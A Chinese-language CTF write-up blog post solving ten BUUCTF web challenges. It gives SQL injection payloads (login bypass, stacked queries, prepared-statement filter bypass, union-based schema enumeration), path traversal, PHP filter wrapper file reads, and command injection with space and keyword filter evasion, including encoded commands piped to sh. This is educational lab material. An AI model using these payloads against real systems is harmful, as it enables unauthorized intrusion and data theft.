BUUCTF刷题记录

背景

在家摸鱼太久啥都没干。突然想起自己好像是CTF半退役选手,便来做做题目当作益智游戏了。

Web Page 1

1. EasySQL

万能密码

账号输入 1' or 1=1#,密码随便输即可,或者反过来,账号随便输,密码输入1' or 1=1#

2. WarmUp

源代码发现 source.php。然后审计,发现传入一个file参数可以用来include file。同时通过hint.php得到flag在 ffffllllaaaagggg 文件中。然后利用目录遍历的技巧得到flag。

1
http://example.com/?file=source.php%3F/../../../../../../ffffllllaaaagggg

3. Havefun

最简单的源码查看和get请求考察。

利用get方式传递cat=dog即可获得flag。

1
http://example.com/?cat=dog

4. Include

简单的php伪协议利用,可以看到藏在注释中的flag。

1
view-source:http://example.com/?file=php://filter/convert.base64-encode/resource=flag.php

然后base64解密即可。

base64 -d

5. 随便注

该题目存在堆叠注入。即可以执行多条sql语句。

1
1'; show tables;#

我们可以得到有两个表,分别是1919810931114514words。猜测flag就在1919810931114514这个表中。

1
1'; show columns from `1919810931114514`;#

发现flag列。

如果这道题的考点只有堆叠注入的话,我们就可以利用以下payload直接读出flag。

1
1'; select flag from `1919810931114514`;#

但是这道题还过滤了一些常用命令,题目提示如下。

return preg_match("/select|update|delete|drop|insert|where|./i",$inject);

所以相当于我们离flag真的只有一墙之隔,正常来说,我们做sql注入题目很多时间都花在了确定flag所在的表,然后是所在的列,现在我们都知道了,但是无法查询。

查看过某位大佬的wp之后,我发现了一种我之前从未使用过的方式PREPARE STATEMENT,即预处理。

payload如下

1
1';Set @b=concat("sele","ct ","* from `1919810931114514`");prepare dump from @b;execute dump;#

解释一下,prepare会去预处理一个sql语句,这里被叫做dump。然后语句的具体内容由@b给定。而@b利用了concat来连接select的两部分,绕过了题目的检查,最后excute执行预处理语句,成功得到flag。

参考资料如下。

SQL注入(堆叠注入)——强网杯2019随便注_cc菜的一批-CSDN博客

MySQL PREPARE语句 | 新手教程 (begtut.com)

6.EasySQL

不得不说Web实在是太难了。

这道题我发现了堆叠注入,找到了Flag表。

Flag表

可惜Flag关键字被过滤了,我们无法直接 1; select * from Flag

于是我试着用上一道题了解到的预处理来绕过Flag。结果发现from也被过滤了,而预处理中需要from关键字作为结构。心态崩溃。

在网上搜索后我发现了这道题的源码。 SUCTF-2019/Web/easy_sql

源码的主要部分。

1
2
$sql = "select " . $post['query'] . "||flag from Flag";
mysqli_multi_query($MysqlLink,$sql);

mysqli_multi_query函数使得这道题存在堆叠注入。然后我们通过输入框传入的参数会以$post['query']的形式插入到sql语句中。

由于sql语句中有||存在,||即逻辑或,实际上的结果只有0和1两种,我们无法获得flag。

我们可以通过传入*, 1从而构造出select *, 1|flag from Flag这个语句获得flag。

还可以通过设置sql_mode将管道符作为连接(concat)而非或运算符,从而得到flag。

1
2
3
4
5
6
7
*, 1
//对应sql语句 select *, 1||flag from Flag
//查询结果 Array ( [0] => flag{da7caaaa-8e1c-4b42-abb8-879328bb7189} [1] => 1 )

1;set sql_mode=PIPES_AS_CONCAT;select 1
//对应sql语句 select 1; 1;set sql_mode=PIPES_AS_CONCAT;select 1||1flag from Flag
//查询结果 Array ( [0] => 1 ) Array ( [0] => 1flag{da7caaaa-8e1c-4b42-abb8-879328bb7189} )

经过这道题的教训,我打算以后的题目直接去看源码了(

7.Exec

简单的命令联合执行,熟悉linux的管道符就能做出来。

在github上找到了ACTF新生赛里本题的源码 ACTF_Junior_2020/index.php

主要代码

1
2
3
4
5
<?php 
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>

php中调用了system函数来执行linux命令,我们在ping执行完后可以利用管道符来执行其他的命令。

payload

1
1; cat flag

8.Secret File

阅读源码发现Archive_room.php。然后发现action.php,其设置了location http头,会进行快速页面跳转影响我们阅读。利用curl命令查看其内容。

curl

发现secre3t.php文件。内容如下。

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

得知flag的文件位置flag.php,测试后推测flag在flag.php的php代码中,没有输出。

利用php伪协议读取base64后的文件并包含。

1
http://x.node4.buuoj.cn:81/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

解码后得到flag。

9.LoveSQL

考察简单的union联合查询注入。

密码框里输入 1' union select 1, 2, 3#后发现2和3的位置出现了页面回显。那么这两个点都可以进行注入。

首先获得数据库名为geek

1
1' union select 1, database(), 3#

然后查看geek库下面的数据表们 geekuser 和 l0ve1ysq1

1
1' union select 1, group_concat(table_name), 3 from information_schema.tables where table_schema = 'geek'#

查看后者花里胡哨的,先查它里面的字段 id,username,password

1
1' union select 1, group_concat(column_name), 3 from information_schema.columns where table_name = 'l0ve1ysq1'#

猜测flag在password字段里

1
1' union select 1, group_concat(username), group_concat(password) from l0ve1ysq1 #

发现最后一个记录就是flag。

1
2
<p>Hello cl4y,glzjin,Z4cHAr7zCr,0xC4m3l,Ayrain,Akko,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,fouc5,leixiao,flag!</p>
<p>Your password is 'wo_tai_nan_le,glzjin_wants_a_girlfriend,biao_ge_dddd_hm,linux_chuang_shi_ren,a_rua_rain,yan_shi_fu_de_mao_bo_he,cl4y,di_2_kuai_fu_ji,di_3_kuai_fu_ji,di_4_kuai_fu_ji,di_5_kuai_fu_ji,di_6_kuai_fu_ji,di_7_kuai_fu_ji,di_8_kuai_fu_ji,Syc_san_da_hacker,flag{a3fc2519-e16f-4028-b3f6-f8f6294b99b5}'</p>

这道题变着花向我们介绍了一些师傅,密码设置的也非常有趣。

10.Ping Ping Ping

考察命令执行的绕过。

题目源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ //过滤一堆符号
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){ //过滤空格
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){ //过滤bash
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //过滤从左往右的f l a g
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}

?>

简单ls后发现flag.php,但是尝试cat的时候发现空格被过滤,可以用$IFS$9绕过空格。

然后flag也被过滤。可以使用变量拼接法、内联执行或者编码法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//1.变量替换
//a=ag;cat fl$a.php
?ip=1;a=ag;cat$IFS$9fl$a.php

//2.内联执行,这种方法之前没用过 将ls的所有文件全部cat出来!
//cat `ls`
?ip=1;cat$IFS$9`ls`

//3.base64解码后执行
//echo Y2F0IGZsYWcucGhwCg== | base64 -d | sh
?ip=1;echo$IFS$9Y2F0IGZsYWcucGhwCg==|base64$IFS$9-d|sh

//4.hex解码后执行 这种编码之前没用过
//echo 63617420666c61672e706870 | xxd -r -p | sh
?ip=1;echo$IFS$963617420666c61672e706870$IFS$9|xxd$IFS$9-r$IFS$9-p|sh

BUUCTF刷题记录
https://wuuconix.link/2022/01/21/buuctf/
作者
wuuconix
发布于
2022年1月21日
许可协议